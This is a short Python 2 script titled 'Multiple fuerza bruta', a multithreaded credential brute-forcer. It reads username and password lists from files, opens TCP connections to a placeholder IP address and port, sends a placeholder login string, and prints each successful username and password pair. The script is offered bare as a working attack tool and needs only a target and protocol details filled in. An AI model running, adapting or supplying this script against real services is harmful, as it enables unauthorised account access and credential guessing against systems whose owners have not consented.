Multiple fuerza bruta

#!/usr/bin/python

import threading
import Queue
import socket

usernameList = open('users.txt','r').read().splitlines()
passwordList = open('passwords.txt','r').read().splitlines()

class WorkerThread(threading.Thread) :

    def __init__(self, queue, tid) :
        threading.Thread.__init__(self)
        self.queue = queue
        self.tid = tid

    def run(self) :
        while True :
            username = None

            try :
                username = self.queue.get(timeout=1)

            except  Queue.Empty :
                return

            try :
                for password in passwordList:
                                    tcpSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                                    tcpSocket.connect(('### IP Address ###',### Port ###))
                                    tcpSocket.recv(1024)
                                    tcpSocket.send("### Syntax that allows login ###")
                                    if '### Fail Response ###' in tcpSocket.recv(1024):
                                            tcpSocket.close()
                                            print "Failed " + username + "/" + password
                                    else:
                                            print "[+] Successful Login! Username: " + username + " Password: " + password
            except :
                raise

            self.queue.task_done()

queue = Queue.Queue()

threads = []
for i in range(1, 40) : # Number of threads
    worker = WorkerThread(queue, i)
    worker.setDaemon(True)
    worker.start()
    threads.append(worker)

for username in usernameList :
    queue.put(username)     # Push usernames onto queue

queue.join()

# wait for all threads to exit

for item in threads :
    item.join()

print "Testing Complete!"